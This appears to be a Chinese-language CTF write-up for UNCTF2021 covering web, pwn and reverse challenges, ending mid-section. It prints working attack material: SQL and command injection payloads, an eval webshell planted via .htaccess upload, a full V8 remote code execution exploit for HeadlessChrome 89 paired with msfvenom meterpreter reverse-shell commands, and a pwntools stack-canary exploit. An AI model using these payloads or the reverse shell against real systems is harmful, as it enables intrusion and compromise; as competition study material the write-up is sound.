

UNCTF2021 部分WP

原创

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Cola

UNCTF2021 Writeup

Web

fuzz_md5

审计源码, 需传入user、pass, user需要="unctf",pass的md5前5位需要="66666"。

user使用preg_replace, 替换unctf为空, 但仅替换一次, 可使用ununctfctf双写绕过。

```
$a=preg_replace("/unctf/i","", $user);
```

md5使用脚本爆破

```
import hashlib

md5 = "66666"
for asc1 in range(48,123):
    for asc2 in range(48,123):
        for asc3 in range(48,123):
            for asc4 in range(48,123):
                for asc5 in range(48,123):
                    asc = chr(asc1)+chr(asc2)+chr(asc3)+chr(asc4)+chr(asc5)
                    proof = asc
                    digest = hashlib.md5(proof.encode('utf-8')).hexdigest()
                    if digest[0:5] == md5:
                        zhi = '-----\n'+proof+'\n'+digest+'\n'
                        f = open("zhi.txt",'w')
                        f.write(zhi)
                        f.close()
                        print (proof+'\n'+digest+'\n')
```

payload:

```
?user=ununctfctf


pass=010LH
```

得到flag

```

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$user=$_GET["user"];
$pass=$_POST["pass"];
$pass2=md5($pass);
$pass3=substr($pass2, 0, 5);
$a=preg_replace("/unctf/i","", $user);
if($a=="unctf"){
    if($pass3=="66666"){
        echo $flag;
    }
    else{
        echo "welcome to unctf^^";
    }
}
else{
    echo "welcome to unctf^^";
}
UNCTF{1e779095-7c32-40cb-9315-e50c263bf4d3}

```



can_you_hacked_me

F12查看，有提示源码在www.zip，访问下载得到。

在db.sql查看到账号密码为admin, AdminSecret，但提交提示“Admin only allow to login at localhost”。

审计源码发现使用了

```

if (strtolower($_GET['username']) == 'admin' && $_SERVER["REMOTE_ADDR"] != '127.0.0.1') {
    die('Admin only allow to login at localhost');
}

```

尝试发现\$_SERVER["REMOTE_ADDR"]无法绕过

关键源码如下：

```

function waf1($inject) {
    preg_match("/'|union|select|&|\||and|or|\(|,/i", $inject) && die('return preg_match("/'|union|select|&|\||and|or|\(|,/i", $inject);');
}

waf1($username) || waf1($password);

$sql = "select * from `users` where username = '$username' and password = '$password';";

$result = $conn->query($sql);

```

```

CREATE DATABASE IF NOT EXISTS supersqli;

USE supersqli;

CREATE TABLE IF NOT EXISTS `users` (
  `id` int(10) NOT NULL,
  `username` varchar(20) NOT NULL,
  `password` varchar(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

INSERT INTO `users` values(1, 'test', 'test'),(2, 'admin', 'AdminSecret');

```

尝试SQL注入，代码过滤了很多关键词，但仔细看没有过滤掉payload:

```
?username=\&password= < 1 limit 1 offset 1;--+
```

拼接后实际的SQL语句为

```
select * from `users` where username = '\' and password = ' < 1 limit 1 offset 1;
```

向\$username传入的\将 and password = 前的'转义失效，使 and password = 成为了字符串
\$username = '\' and password = ' < 1在SQL中的运算结果是永真，再加上limit 1 offset 1限定到位于第2条的admin记录
得到flag

Can You Hacked me?

Username:

Password:

```
select * from `users` where username = '\' and password = ' < 1 limit 1 offset 1;-- ';
Welcome Admin, here is your flag: UNCTF{c9fc7580-710a-4357-906e-9a846ec77c00}
```

The screenshot shows the HackBar interface with various tabs like View, Console, Debugger, Network, Style Editor, Performance, Memory, Storage, Accessibility, and Applications. Below the tabs, there are dropdown menus for Encryption, Encoding, SQL, XSS, and Other. A URL input field contains the exploit URL: http://0c37d2b2-9116-4a3d-bda0-2d31a427144e.node1.hackingfor.fun/?username=\&password=<1 limit 1 offset 1;--+. The results of the exploit are displayed above the interface.

除此之外，还可使用'\ and password ='^0，在SQL中'\ and password ='^0的运算结果为数字0
而SQL中字符串与数字比较时会先将字符串转化为数字，但admin这种字符串中没有数字，转化结果为数字0
于是'admin' = " and password ='^0会转化为0=0，条件成立。

phpmysql

审计源码，需要传入host、user、pwd、port

```

if(is_numeric($db_host)){
    echo("fakeflag is /flag".<br>);
    if(preg_match("/;|\||&/is",$db_user) || preg_match("/;|\||&/is",$db_pwd) || preg_match("/;|\||&/is",$db_port)){
        die("嘉然今天吃什么");
    }
    system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
    echo("Maybe you can do someting else".<br>);
    if(!isset($db_user) || !isset($db_pwd)){
        eval("echo new Exception(\"<script>alert('关注嘉然, 顿顿解馋!!!!');</script>\");");
    }
    else{
        $db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
        eval("echo new $db_user($db_pwd);");
    }
}

```

尝试传入默认参数, host需转为数字型, 127.0.0.1为2130706433

Post data host=2130706433&port=3306&pwd=root&user=root

```

<?php
show_source(__FILE__);
echo("欢迎来到unctf2021, have fun".<br>);

$db_host=$_POST['host'];
$db_user=$_POST['user'];
$db_pwd=$_POST['pwd'];
$db_port=$_POST['port'];

if($db_host==""){
    die("数据库地址不能为空!");
}

if(is_numeric($db_host)){
    echo("fakeflag is /flag".<br>);
    if(preg_match("/;|\||&/is",$db_user) || preg_match("/;|\||&/is",$db_pwd) || preg_match("/;|\||&/is",$db_port)){
        die("嘉然今天吃什么");
    }
    system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
    echo("Maybe you can do someting else".<br>);
    if(!isset($db_user) || !isset($db_pwd)){
        eval("echo new Exception(\"<script>alert('关注嘉然, 顿顿解馋!!!!');</script>\");");
    }
    else{
        $db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
        eval("echo new $db_user($db_pwd);");
    }
}

```

} 欢迎来到unctf2021, have fun

CSDN @weixin_46356548

使用%0a换行, 执行命令

根据提示尝试cat /flag发现无法返回结果, 使用ls /发现flag的文件名为fillaaaaag

payload:

```
host=2130706433&user=root&pwd=root&port=3306%0als /%0a
host=2130706433&user=root&pwd=root&port=3306%0acat /fllllaaaaag%0a
```

得到flag

Post data host=2130706433&user=root&pwd=root&port=3306

```
<?php
show_source(__FILE__);
echo("欢迎来到unctf2021, have fun". "<br>");

$db_host=$_POST['host'];
$db_user=$_POST['user'];
$db_pwd=$_POST['pwd'];
$db_port=$_POST['port'];

if($db_host=="") {
    die("数据库地址不能为空! ");
}

if(is_numeric($db_host)){
    echo("fakeflag is /flag". "<br>");
    if(preg_match("/;|\||&/is", $db_user) || preg_match("/;|\||&/is", $db_pwd) || preg_match("/;|\||&/is", $db_port)) {
        die("嘉然今天吃什么");
    }
    system("mysql -h $db_host -u $db_user -p $db_pwd -P $db_port --enable-local-infile");
}
else{
    echo("Maybe you can do someting else". "<br>");
    if(!isset($db_user) || !isset($db_pwd)){
        eval("echo new Exception(\"<script>alert('关注嘉然, 顿顿解馋!!!!');</script>\");");
    }
    else{
        $db_user = str_ireplace("SplFileObject", "UNCTF2021", $db_user);
        eval("echo new $db_user($db_pwd);");
    }
}
} 欢迎来到unctf2021, have fun
fakeflag is /flag
```

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babywrite

审计源码，需传入filename、content写shell

```
if (preg_match_all("/ph|\.|\.\|\/\//", $filename) || strlen($filename) > 10) {
    die("No way!");
}
if (preg_match_all("/<\?|ph/", $content)) {
    die("No way!");
}
```

使用preg_match_all过滤了ph，尝试使用数组绕过

文件内容可以正常写入，但文件名变成了“Array”

尝试写入.htaccess文件重写文件解析规则，使其它格式也可被当作php解析

payload:

```
?filename=.htaccess&content[]="AddType application/x-httpd-php .png"
```

写入成功，此时png文件也能够被解析

payload:

```
?filename=1.png&content[]=<?php @eval($_POST[a]);?  
  
<?php  
highlight_file(__FILE__);  
$sandbox = md5($_SERVER['REMOTE_ADDR']);  
if (!is_dir($sandbox)) {  
    mkdir($sandbox);  
}  
if (isset($_GET['filename']) && isset($_GET['content'])) {  
    $filename = $_GET['filename'];  
    $content = $_GET['content'];  
    if (preg_match_all("/ph|\.|\\//i", $filename) || strlen($filename) > 10) {  
        die("No way!");  
    }  
    if (preg_match_all("/<\\?|ph/", $content)) {  
        die("No way!");  
    }  
    $filename = $sandbox . "/" . $filename;  
    @file_put_contents($filename, $content);  
    echo $filename;  
}
```

Warning: preg_match_all() expects parameter 2 to be string, array given in /var/www/html/index.php on line 13
1b5337d0c8ad813197b506146d8d503d/1.png



The screenshot shows a browser window with a warning message about preg_match_all() expecting a string parameter. Below the message, the URL bar contains a modified URL: http://53460026-980d-40c8-bb5b-c1e23eba5c76.node1.hackingfor.fun/?filename=1.png&content=[<?php @eval(\$_POST[a]);?]. The browser interface includes tabs for '查看器' (Viewer), '控制台' (Console), '调试器' (Debugger), '网络' (Network), '样式编辑器' (Style Editor), '性能' (Performance), '内存' (Memory), '存储' (Storage), '无障碍环境' (Accessibility), '应用程序' (Applications), 'HackBar', and 'Code'.

使用蚁剑连接getshell

在根目录得到flag



encrypt_login

登录使用Burp Suite拦截，发现数据是加密的，无法直接暴破

Burp 项目 测试器 重发器 窗口 帮助

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options jsEncrypter BurpCrypto

Intercept HTTP history WebSockets history Options

http://3912c627-3442-4dd5-9aff-b2ad699f4a70.node1.hackingfor.fun:80 [139.159.140.72] 请求

发送 丢弃 拦截请求 行动 Open Browser

Comment this item



Raw Params Headers Hex

Pretty 原始 \n Actions ▾

```

1 POST /login.php HTTP/1.1
2 Host: 3912c627-3442-4dd5-9aff-b2ad699f4a70.node1.hackingfor.fun
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
4 Accept: */*
5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 177
10 Origin: http://3912c627-3442-4dd5-9aff-b2ad699f4a70.node1.hackingfor.fun
11 Connection: close
12 Referer: http://3912c627-3442-4dd5-9aff-b2ad699f4a70.node1.hackingfor.fun/login.php
13 Cookie: __yjs_duid=1_23fb736fa72b7d6d203782fe062fb1636727652765; PHPSESSID=1de75ba542a3e5cb49f5273654af7882
14
15 data=
TUunt3eEDV70DNJSUBN8xw4njNu8/IVx6y/p019M6Rfmnf1sveLf+720f0/sAHZzbjH2HHgyk3ntSJViMK0uC/C00x8uV1pesaR1s2gWNYhPk51GyJfc7XvwadyxMMIMC4BN2R/kWVNjzQef2WtE6DjkH7/mvAsUCUzzvaU=
```

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F12查看到encrypt.js，发现使用了jsjiami.com对js进行加密混淆

进入该网站，对一个简单的js进行加密，发现结果的前两段都是多个循环的垃圾代码，关键内容在后面

尝试直接下断点调试，得到加密方法为RSA及公钥

The screenshot shows the Chrome DevTools debugger with the "Sources" tab selected. It displays the source code for `jquery.min.js` and `encrypt.js`. The `encrypt.js` file contains the RSA encryption logic. The RSA public key and modulus are visible in the call stack, indicating they are being passed as parameters to the encryption function.

----BEGIN PUBLIC KEY---- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD6US5bbJ7JrsKYeSa8goPJQBgU

WXdNyUxtPfcwuCrsYEcWNdnk1fpldSfUvrku39fYl+h1ciyanp5H79uSzuqsUrPE

Hzb2y+GTqdmNzZ53JPcxrFIYMv3NX0EOk3qMzgcSV/qXcAc+fWxLSTV5OVeWV8Lr KJVXPMuQVgrw/SxkBQIDAQAB

----END PUBLIC KEY----

t {default_key_size: 1024, default_public_exponent: "010001", log: false, key: null}

```

94 ePj': _0x28ad('2', 'hF%('),
95 !lKq': function(_0x1c6939, _0x219dc9) { _0x1c6939 = "admin|_|", _0x219dc9 = "123456"
96 return _0x1c6939 + _0x219dc9;

```

会拼接为用户名|密码

使用bp爆破，使用BurpCrypto扩展，由于参数是默认的，无需进行特殊设置。

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options jsEncrypter BurpCrypto

AES RSA DES Exec Js

RSA Setting

RSA Public Key Format: X509

X509 Key(Base64): NyUxtPfcwuCrsYEcWNdnk1fpldSfUvrku39fYl+h1ciyanp5H79uSzuqsUrPE Hzb2y+GTqdmNzZ53JPcxrFIYmV3Nx0Eok3qMzgcSV/qXcAc+fWxLSTV5OVeWV8Lr KJVXPMuQVgrw/SxkBQIDAQAB

Output Format: Base64

Add processor Remove processor

Please give this processor a special name: RSA

确定 取消

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设置有效负载位置为data，根据提示用户名为admin，密码为纯数字，设置Intruder的Payloads

设置有效载荷集为数值，由于不知道具体位数，保险起见数字范围从1位数开始，设置有效负载处理，添加前缀admin|-，调用Burp扩展

有效负载集： 1 有效载荷数量： 不明

有效载荷类型： 数值 请求数量： 不明

有效载荷选项[数字]

This payload type generates numeric payloads within a given range and in a specified format.

数字范围

类型： 连番 随机

From: 0

To: 9999999999

增量: 1

编号:

数字格式

基础： Decimal 十六进制

整数部分的最小位数:

整数部分的最大位数:

少数民族最小位数:

少数民族最大位数: 0

例

1
987654321

有效负载处理

You can define rules to perform various processing tasks on each payload before it is used.

添加	效用	规则
<input type="button" value="编辑"/>	<input checked="" type="checkbox"/>	Add Prefix: admin -
	<input checked="" type="checkbox"/>	Invoke Burp extension: BurpCrypto - RSA E...

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开始攻击，稍等片刻，在长度最短的响应中得到flag，同时也得到密码为5162

Intruder attack 2

攻击 保存 列

Results Target Positions Payloads Options

过滤器: 显示所有项目

请求	有效载荷	状态	错误	超时	长度	评论
5163	jqujJ3o6gikgFR9U5xRmx... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	368	
5164	ke0g59SLDyTbAZPeqd0a... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5165	LQG9bGellgSTiKCOQYwL... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5166	Pc5Pmp08pNn1E/bpYM6... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5167	8WoLPdeLar5RnN/XMd... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5168	C2hT3UQqA5zURwqLJnQ... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5169	9Ut9WOQrl2/M9xbNifF7aj... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5170	4yG+RkmB5NpcxQrlMQd... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5173	0IMcO1k6iHeDU1NgNSka... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5172	4YOO8EHUMaSPXbqsXk... ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	
5174	aoSmviHXYo5h8tWXal 8Ur ...d	200	<input type="checkbox"/>	<input type="checkbox"/>	370	

Request Response

Raw Headers Hex

Pretty 原始 Render \n Actions ▾

```
1 HTTP/1.1 200 OK
2 Server: openresty/1.17.8.2
3 Date: Mon, 06 Dec 2021 12:56:57 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 X-Powered-By: PHP/7.3.22
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 69
11
12 Niu B, here is your flag: JNCTF{ff337925-fe87-4b7e-b427-1430c95d2ef1}
```

?

没有匹配

9122

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网页照相馆

功能是获取网页的截图，根据提示“注意User-Agent”，猜测里面也是个浏览器

使用自己的服务器，加入获取User-Agent的代码

```
<script>document.write(navigator.userAgent)</script>
```

让照相机访问该网页，成功获取

物品价格： 价格面议

整理时间： 2021/12/1

联系电话：

信息简介： Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
HeadlessChrome/89.0.4389.114 Safari/537.36

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注意浏览器版本为HeadlessChrome/89.0.4389.114， 系统为Linux x86_64

搜索得知该版本及以下存在远程代码执行漏洞，使用现成的exp：

```
<script>
function gc() {
    for (var i = 0; i < 0x80000; ++i) {
        var a = new ArrayBuffer();
    }
}
let shellcode = [在此填入msfvenom生成的内容];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 1
30, 128, 128, 0, 1, 0, 4, 132, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 1
28, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0
0, 10, 138, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(0, true));
}
function fHi(f) {
    bfView.setFloat64(0, f, true);
    return (bfView.getUint32(4, true));
}
function i2f(low, hi) {
    bfView.setUint32(0, low, true);
    bfView.setUint32(4, hi, true);
    return bfView.getFloat64(0, true);
}
function f2big(f) {
    bfView.setFloat64(0, f, true);
    return bfView.getBigUint64(0, true);
}
function big2f(b) {
    bfView.setBigUint64(0, b, true);
    return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
    constructor(size) {
```

```

        super(size);
        this.slot = 0xb33f;
    }
}

function foo(a) {
    let x = -1;
    if (a) x = 0xFFFFFFFF;
    var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
    arr.shift();
    let local_arr = Array(2);
    local_arr[0] = 5.1;//4014666666666666
    let buff = new LeakArrayBuffer(0x1000); //byteLength idx=8
    arr[0] = 0x1122;
    return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
    foo(false);
gc(); gc();
[corrupt_arr, rwarr, corrupt_buff] = foo(true);
corrupt_arr[12] = 0x22444;
delete corrupt_arr;
function setBackingStore(hi, low) {
    rwarr[4] = i2f(fLow(rwarr[4]), hi);
    rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
    corrupt_buff.slot = o;
    return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
    let baseIdx = delta / 8;
    this.base = fLow(rwarr[baseIdx]);
} else {
    let baseIdx = ((delta - (delta % 8)) / 8);
    this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setBackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setBackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
    corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>

```

使用时只需使用msfvenom根据实际情况生成shellcode即可。

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=IP地址 lport=端口 -f csharp

使用msfconsole开启监听模块multi/handler

use exploit/multi/handler, set payload linux/x64/meterpreter/reverse_tcp, 设置相关参数

让照相机访问含有恶意代码的网页，稍等片刻，成功反连shell

查看文件，获得flag


```
100644/rw-r--r-- 44 fil 2021-12-06 20:56:17 +0800 f1111aaaaa4444444g
40755/rwxr-xr-x 4096 dir 2021-11-29 10:23:45 +0800 home
40755/rwxr-xr-x 4096 dir 2021-11-29 11:44:24 +0800 lib
40755/rwxr-xr-x 4096 dir 2021-03-19 02:53:22 +0800 lib32
40755/rwxr-xr-x 4096 dir 2021-11-29 11:44:06 +0800 lib64
40755/rwxr-xr-x 4096 dir 2021-03-19 02:53:21 +0800 libx32
40755/rwxr-xr-x 4096 dir 2021-03-19 02:53:22 +0800 media
40755/rwxr-xr-x 4096 dir 2021-03-19 02:53:21 +0800 mnt
40755/rwxr-xr-x 4096 dir 2021-12-06 21:15:57 +0800 opt
40555/r-xr-xr-x 0 dir 2021-12-06 20:56:17 +0800 proc
40700/rwx----- 4096 dir 2021-12-06 21:15:57 +0800 root
40755/rwxr-xr-x 4096 dir 2021-11-29 11:44:06 +0800 run
40755/rwxr-xr-x 4096 dir 2021-11-29 11:44:06 +0800 sbin
40755/rwxr-xr-x 4096 dir 2021-03-19 02:53:22 +0800 srv
40555/r-xr-xr-x 0 dir 2021-03-25 21:19:18 +0800 sys
41777/rwxrwxrwx 4096 dir 2021-12-06 21:15:57 +0800 tmp
40755/rwxr-xr-x 4096 dir 2021-11-29 11:44:37 +0800 usr
40755/rwxr-xr-x 4096 dir 2021-12-06 21:15:57 +0800 var

meterpreter > cat /f1111aaaaa4444444g
UNCTF{3e2b1167-0fc5-48bf-a2ab-cf59c961a062}                                     CSDN @weixin_46356548
```

Pwn

nc连接，发现有提示“format string”

IDA打开，发现后门函数，可直接执行cat flag



查看main，在leak()中存在可利用的漏洞

```
1unsigned __int64 leak()
2{
3    char s[88]; // [rsp+0h] [rbp-60h] BYREF
4    unsigned __int64 v2; // [rsp+58h] [rbp-8h]
5
6    v2 = __readfsqword(0x28u);
7    puts(
8        "I heared that you are interested in the CTF.\n"
9        "           I hope that you will hold on to keep your interest\n"
10       "           tell me,will you?");
11    fgets(s, 80, stdin);
12    puts("I will remember what you said");
13    printf(s);
14    puts("wait for your good news...");
15    gets();
16    return __readfsqword(0x28u) ^ v2;
17}                                     CSDN @weixin_46356548
```

使用checksec查看文件安全信息

```

└──(root㉿kali)-[~/home/zhou/桌面]
# file fo
fo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64
/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d31e410c76acc4df462507b2908dfa70bf93
a9c2, not stripped
1 ×

└──(root㉿kali)-[~/home/zhou/桌面]
# checksec --file=fo
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols
FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE
bols No 0 3 fo
CSDN @weixin_46356548

```

发现文件开启了Canary保护

```

.text:0000000000400787 leak proc near ; CODE XREF: main+4F↓p
.text:0000000000400787
.text:0000000000400787 s = byte ptr -60h
.text:0000000000400787 var_8 = qword ptr -8
.text:0000000000400787
.text:0000000000400787 ; __ unwind {
.text:0000000000400787 push rbp
.text:0000000000400788 mov rbp, rsp
.text:0000000000400788 sub rbp, 60h
.text:000000000040078F mov rax, fs:28h
.text:0000000000400798 mov [rbp+var_8], rax
.text:000000000040079C xor eax, eax
.text:000000000040079E mov edi, offset aIHearedThatYou ; "I heared that you are interested in the"...
.text:00000000004007A3 call _puts
.text:00000000004007A8 mov rdx, cs:stdin@@GLIBC_2_2_5 ; stream
.text:00000000004007AF lea rax, [rbp+s]
.text:00000000004007B3 mov esi, 50h ; 'P' ; n
.text:00000000004007B8 mov rdi, rax ; s
.text:00000000004007BB call _fgets
.text:00000000004007C0 mov edi, offset aIWillRememberW ; "I will remember what you said"
.text:00000000004007C5 call _puts
.text:00000000004007CA lea rax, [rbp+s]
.text:00000000004007CE mov rdi, rax ; format
.text:00000000004007D1 mov eax, 0
.text:00000000004007D6 call _printf
.text:00000000004007DB mov edi, offset aWaitForYourGoo ; "wait for your good news..."
.text:00000000004007E0 call _puts
.text:00000000004007E5 lea rax, [rbp+s]
.text:00000000004007E9 mov rdi, rax
.text:00000000004007EC mov eax, 0
.text:00000000004007F1 call _gets
.text:00000000004007F6 nop
.text:00000000004007F7 mov rax, [rbp+var_8]
.text:00000000004007FB xor rax, fs:28h
.text:0000000000400804 jz short locret_40080B
.text:0000000000400806 call __stack_chk_fail
CSDN @weixin_46356548

```

可利用格式化字符串漏洞找出Canary距离字符串s的偏移量为6

aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p

```

E:\CTF>nc64.exe node2.hackingfor.fun 39467
Do you know the format string?
    you can message at here:
        https://wiki.x10sec.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/
I heared that you are interested in the CTF.
    I hope that you will hold on to keep your interest
        tell me,will you?
aaaa_%p_%p_%p_%p_%p_%p_%p
I will remember what you said
aaaa_0xf0cf9a016a3_0x7f0cf9a02780_0xffffffffffff_0x7f0cf9c29700_0x7f0cf9c29700_0x5f70255f61616161_0x70255f70255f7025
_0x255f70255f70255f_0x5f70255f70255f70_0xa7025
wait for your good news...
CSDN @weixin_46356548

```

根据IDA上的信息得到s和Canary相差0x58，每8个字节为一个参数，则可计算出 $0x58 \div 8 = 11$, $11 + 6 = 17$ ，所以最终的偏移量为17，可使用%17\$p打印出Canary的地址

查看backdoor()的地址

```

.text:000000000040080D
.text:000000000040080D ; ===== S U B R O U T I N E =====
.text:000000000040080D
.text:000000000040080D ; Attributes: bp-based frame
.text:000000000040080D
.text:000000000040080D           public backdoor
.text:000000000040080D backdoor    proc near
.text:000000000040080D ; __ unwind {
.text:000000000040080D           push    rbp
.text:000000000040080E           mov     rbp,  rsp
.text:0000000000400811          mov     edi, offset command ; "cat flag;"
.text:0000000000400816          mov     eax, 0
.text:000000000040081B          call    _system
.text:0000000000400820          nop
.text:0000000000400821          pop    rbp
.text:0000000000400822          retn
.text:0000000000400822 ; } // starts at 40080D
.text:0000000000400822 backdoor    endp

```

CSDN @weixin_46356548

使用pwntools

exp:

```

from pwn import *

io = remote('node2.hackingfor.fun', 39467)
context.log_level = "debug"
flag_addr = 0x40080D
io.sendlineafter('tell me,will you?\n', '%17$p')
io.recvuntil("0x")
canary = int(io.recv(16), 16)
payload = "A" * (0x58) + p64(canary).decode('unicode_escape') + 8*'A' + p64(flag_addr).decode('unicode_escape')
io.sendline(payload)
print(io.recv())
print(io.recv())

```

得到flag

```

IDLE Shell 3.9.7
File Edit Shell Debug Options Window Help
[DEBUG] Received 0x88 bytes:
b'\n'
b'I heared that you are interested in the CTF.\n'
b'        I hope that you will hold on to keep your interest\n'
b'        tell me,will you?\n'
[DEBUG] Sent 0x6 bytes:
b'%17$p\n'

Warning (from warnings module):
  File "E:\CTF\脚本\pwntools.py", line 7
    io.recvuntil("0x")
BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
[DEBUG] Received 0x1d bytes:
b'I will remember what you said'
[DEBUG] Received 0x2f bytes:
b'\n'
b'0x286235501ec40500\n'
b'wait for your good news...\n'

Warning (from warnings module):
  File "E:\CTF\脚本\pwntools.py", line 13
    io.sendline(payload)
BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
[DEBUG] Sent 0x71 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAA | AAAA |
AAAA | AAAA |
*
00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAA | AAAA |
..... | P5b(| 
00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAA | AAAA |
..@. | . . . | 
00000070 0a
00000071
b'\nwait for your good news...\n'
[DEBUG] Received 0x2c bytes:
b'UNCTF{c354a4cd-7217-47e1-bbea-4b68046c802e}\n'
b'UNCTF{c354a4cd-7217-47e1-bbea-4b68046c802e}\n'
>>> |

```

CSDN @weixin_46356548 Lnr:56 Col:4

Reverse

ezlogin


IDA打开查看main，进入login()

```
printf("-----Enter your name:");
scanf("%s", Str);
printf("-----Enter your password:");
scanf("%s", v19);
v1 = strlen(Str);
v2 = 0;
if ( v1 <= 0 )
{
LABEL_12:
    v4 = MessageBoxA(0, "Login Successfully!", "UNCTF2021", 0x24u);
    if ( v4 == 1 || v4 == 6 )
    {
        v5 = 0;
        qmemcpy(v17, "pqsd`fl{zmpZsag}wdYVvkUNC", 24);
        v6 = 0;
        do
        {
            v7 = &v17[v5];
            for ( i = 2; i >= 0; --i )
            {
                v9 = *v7;
                v7 += 8;
                Text[v6++] = v9 ^ 0x16;
            }
            ++v5;
        }
        while ( v5 <= 4 );
        Text[v6] = 0;
        MessageBoxA(0, Text, "UNCTF2021", 0x40u);
    }
}
else
{
    v3 = 0;
    while ( v19[v2] == v3 + Str[v2] )
    {
        ++v2;
        v3 += 2;
        if ( v2 >= v1 )
            goto LABEL_12;
    }
    MessageBoxA(0, "Longin Failed!", "UNCTF2021", 0x40u);
}
```

发现name<=0即算登录成功，但此处必须要输入字符。

另外在else中判断了v19[v2] == v3 + Str[v2]，只要满足其中的条件，就仍然会跳至登录成功。最简单的情况是name只输入1位，password的第1位和name相同。

获得flag



rejunk


IDA打开查看main，发现很多垃圾代码

注意到

```
sprintf(Buffer, "%s%s%s%s", "WQGUL", "xb>2:", "ooh95=", "'twk");
if ( (v9 ^ (v14[v9] + 2)) != Buffer[v9] )
    break;
if ( ++v9 > 20 )
{
    ...
}
```

只需输入的内容+2，XOR下标=WQGULxb>2:ooh95='twk即算成功

所以反推，XOR后-2，得出flag



py_trade

手工还原Python字节码，结果如下：

```

flag='XXXXXX'
num=[0]*18
k=0
for i in range(len(flag)):
    num[i]=(ord(flag[i])+i)^(k%3+1)
    num[len(flag)-i-1]=(ord(flag[len(flag)-i-1])+(len(flag)-i-1))^(k%3+1)
    k+=1
    print (num)

```

exp:

```

num=[115, 120, 96, 84, 116, 103, 105, 56, 102, 59, 127, 105, 115, 128, 95, 124, 139, 49]
k=17
for i in range(0,9):
    print(chr((num[i]^(k%3+1))-i),end=' ')
    k-=1
k=9
for i in range(9,18):
    print(chr((num[i]^(k%3+1))-i),end=' ')
    k+=1

```

得出flag

```
py_Trad3_1s_fuNny!
```

进行加密验证通过。

chall

题目提示RC4，需要脑洞

IDA打开查看main

```

int __fastcall process_a(int a1)
{
    bool v1; // zf
    const char *v2; // rdi

    v1 = a1 == 22;
    v2 = "YOUWRONG";
    if ( v1 )
        v2 = "Imagination is the topic\nRivest Cipher Four:\ncodemaker";
    return puts(v2);
}

```

密钥为当前的年份，即2021

进入process_a()

```

int __fastcall process_a(int a1)
{
